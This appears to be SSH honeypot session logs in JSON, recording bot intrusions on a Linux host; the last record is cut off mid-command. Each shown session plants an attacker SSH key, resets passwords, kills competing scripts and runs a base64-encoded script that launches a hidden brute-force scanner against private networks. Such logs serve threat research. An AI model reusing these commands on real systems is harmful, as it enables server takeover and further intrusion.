{"id":"aa74805b-6b62-42e2-a195-3c816bfca5c4","name":"brisk-vivid-merlin","protocol":"ssh","channel_kind":"exec","src_ip":"60.199.224.2","src_port":51136,"username":"senthil","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":643,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T05:18:05.457080+00:00","ended_at":"2026-08-24T05:18:05.656938+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3458,"events":[{"seq":1,"at":"2026-08-24T05:17:26.541729+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T05:17:27.181003+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T05:17:33.458130+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T05:17:33.461142+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T05:17:34.110487+00:00","kind":"input","latency_ms":null,"data":"echo -e \"senthil\\njlOru5NXNNj2\\njlOru5NXNNj2\"|passwd|bash"},{"seq":6,"at":"2026-08-24T05:17:34.753248+00:00","kind":"input","latency_ms":null,"data":"echo \"senthil\\njlOru5NXNNj2\\njlOru5NXNNj2\\n\"|passwd"},{"seq":7,"at":"2026-08-24T05:17:35.394133+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T05:17:35.395050+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T05:17:36.037246+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T05:17:36.793445+00:00","kind":"output","latency_ms":754,"data":"15888 2143 12451 218 1074 10117"},{"seq":11,"at":"2026-08-24T05:17:37.436215+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T05:17:38.277167+00:00","kind":"output","latency_ms":838,"data":"-rwxr-xr-x 1 root root 142K Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T05:17:38.917394+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T05:17:38.917852+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T05:17:39.560913+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T05:17:39.561580+00:00","kind":"output","latency_ms":null,"data":" 05:17:39 up 4 days, 2:07, 0 user, load average: 0.13, 0.14, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T05:17:40.203246+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T05:17:40.203754+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T05:17:40.844284+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T05:17:40.845340+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T05:17:41.488157+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T05:17:41.488637+00:00","kind":"output","latency_ms":null,"data":"top - 05:17:41 up 4 days, 2:07, 0 user, load average: 0.13, 0.14, 0.14\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T05:17:42.131488+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T05:17:42.131962+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T05:17:42.775009+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T05:17:42.775529+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T05:17:43.417134+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T05:17:43.417447+00:00","kind":"output","latency_ms":null,"data":"senthil"},{"seq":29,"at":"2026-08-24T05:17:44.058849+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T05:17:45.019664+00:00","kind":"output","latency_ms":960,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T05:17:45.662731+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T05:17:46.049194+00:00","kind":"output","latency_ms":385,"data":"24G"},{"seq":33,"at":"2026-08-24T05:17:48.052519+00:00","kind":"input","latency_ms":null,"data":"echo \"senthil senthil\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T05:17:48.694061+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T05:17:49.073781+00:00","kind":"output","latency_ms":378,"data":""},{"seq":36,"at":"2026-08-24T05:17:50.978731+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T05:17:51.483456+00:00","kind":"output","latency_ms":503,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-24T05:17:52.124816+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T05:17:52.802048+00:00","kind":"output","latency_ms":675,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-24T05:17:53.443578+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T05:17:54.091966+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T05:17:54.782113+00:00","kind":"output","latency_ms":693,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-24T05:17:55.423577+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T05:17:55.995550+00:00","kind":"output","latency_ms":570,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-24T05:17:56.640683+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T05:17:57.201363+00:00","kind":"output","latency_ms":560,"data":""},{"seq":47,"at":"2026-08-24T05:18:05.459476+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T05:18:05.460070+00:00","kind":"output","latency_ms":null,"data":"senthil"}],"credentials":[{"username":"senthil","password":"senthil","method":"password","accepted":true,"tier":"other"}]} {"id":"ff4b92c2-cab9-4837-b1f0-be48191f942b","name":"granite-wandering-skylark","protocol":"ssh","channel_kind":"exec","src_ip":"5.3.154.197","src_port":33954,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":409,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T04:39:09.822503+00:00","ended_at":"2026-08-24T04:39:09.946537+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3490,"events":[{"seq":1,"at":"2026-08-24T04:38:39.279791+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T04:38:39.686734+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T04:38:44.743911+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T04:38:44.745330+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T04:38:45.154077+00:00","kind":"input","latency_ms":null,"data":"echo \"root:O6YnMei1ECfH\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T04:38:45.562798+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-24T04:38:45.973279+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T04:38:45.974641+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T04:38:46.006305+00:00","kind":"output","latency_ms":852,"data":""},{"seq":10,"at":"2026-08-24T04:38:46.381961+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T04:38:47.547686+00:00","kind":"output","latency_ms":1165,"data":" total used free shared buff/cache available\nMem: 15888 4321 7124 18 4443 11302"},{"seq":12,"at":"2026-08-24T04:38:47.959051+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T04:38:48.851428+00:00","kind":"output","latency_ms":895,"data":"lrwxrwxrwx 1 root root 7 Mar 12 2026 /usr/bin/ls -> /bin/ls"},{"seq":14,"at":"2026-08-24T04:38:49.261398+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T04:38:49.261867+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T04:38:49.679122+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T04:38:49.680042+00:00","kind":"output","latency_ms":null,"data":" 04:38:49 up 4 days, 1:28, 0 user, load average: 0.35, 0.27, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T04:38:50.084105+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T04:38:50.084573+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T04:38:50.490971+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T04:38:50.491786+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T04:38:50.908699+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T04:38:50.909332+00:00","kind":"output","latency_ms":null,"data":"top - 04:38:50 up 4 days, 1:28, 0 user, load average: 0.35, 0.27, 0.34\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T04:38:51.309647+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T04:38:51.310503+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T04:38:51.718907+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T04:38:51.719807+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T04:38:52.128988+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T04:38:52.130161+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T04:38:52.538298+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T04:38:53.094684+00:00","kind":"output","latency_ms":555,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-24T04:38:53.504910+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T04:38:53.939762+00:00","kind":"output","latency_ms":434,"data":"24G"},{"seq":34,"at":"2026-08-24T04:38:55.384120+00:00","kind":"input","latency_ms":null,"data":"echo \"root 123Admin\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T04:38:55.792866+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T04:38:56.213017+00:00","kind":"output","latency_ms":420,"data":""},{"seq":37,"at":"2026-08-24T04:38:57.224299+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T04:38:57.645317+00:00","kind":"output","latency_ms":420,"data":"root 123Admin"},{"seq":39,"at":"2026-08-24T04:38:58.054135+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T04:38:58.499444+00:00","kind":"output","latency_ms":444,"data":"root 123Admin"},{"seq":41,"at":"2026-08-24T04:38:58.908043+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T04:38:59.316812+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T04:38:59.887949+00:00","kind":"output","latency_ms":571,"data":"root 123Admin"},{"seq":44,"at":"2026-08-24T04:39:00.298002+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T04:39:01.008197+00:00","kind":"output","latency_ms":708,"data":"root 123Admin"},{"seq":46,"at":"2026-08-24T04:39:01.415932+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T04:39:01.839055+00:00","kind":"output","latency_ms":422,"data":""},{"seq":48,"at":"2026-08-24T04:39:09.823192+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-24T04:39:09.823906+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"123Admin","method":"password","accepted":true,"tier":"other"}]} {"id":"139edc25-ff78-447f-ad87-3aa1c14591d2","name":"alpine-verdant-linnet","protocol":"ssh","channel_kind":"exec","src_ip":"223.17.1.118","src_port":47578,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":692,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T03:17:41.660805+00:00","ended_at":"2026-08-24T03:17:41.876558+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":6575,"events":[{"seq":1,"at":"2026-08-24T03:16:58.356771+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T03:16:59.046453+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T03:17:04.985852+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T03:17:04.986364+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T03:17:05.677412+00:00","kind":"input","latency_ms":null,"data":"echo \"root:tbZ35wrxEVUF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T03:17:06.352722+00:00","kind":"output","latency_ms":675,"data":""},{"seq":7,"at":"2026-08-24T03:17:06.367693+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-24T03:17:07.055960+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-24T03:17:07.056713+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-24T03:17:07.749648+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T03:17:08.456392+00:00","kind":"output","latency_ms":705,"data":"15888 403 15485 0 0 0"},{"seq":12,"at":"2026-08-24T03:17:09.152233+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T03:17:10.196396+00:00","kind":"output","latency_ms":1041,"data":"-rwxr-xr-x 1 root root 148K Aug 24 03:08 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T03:17:10.888527+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T03:17:10.889198+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T03:17:11.579916+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T03:17:11.580541+00:00","kind":"output","latency_ms":null,"data":" 03:17:11 up 4 days, 0:07, 0 user, load average: 0.31, 0.35, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T03:17:12.270223+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T03:17:12.270814+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T03:17:12.963358+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T03:17:12.963784+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T03:17:13.653719+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T03:17:13.654433+00:00","kind":"output","latency_ms":null,"data":"top - 03:17:13 up 4 days, 0:07, 0 user, load average: 0.31, 0.35, 0.22\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T03:17:14.345376+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T03:17:14.345935+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T03:17:15.036617+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T03:17:15.037387+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T03:17:15.755969+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T03:17:15.756724+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T03:17:16.446544+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T03:17:19.813360+00:00","kind":"output","latency_ms":3362,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC"},{"seq":32,"at":"2026-08-24T03:17:20.506727+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T03:17:21.072562+00:00","kind":"output","latency_ms":565,"data":"25G"},{"seq":34,"at":"2026-08-24T03:17:23.255705+00:00","kind":"input","latency_ms":null,"data":"echo \"root Redhat123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T03:17:23.946596+00:00","kind":"input","latency_ms":null,"data":"rm -rf 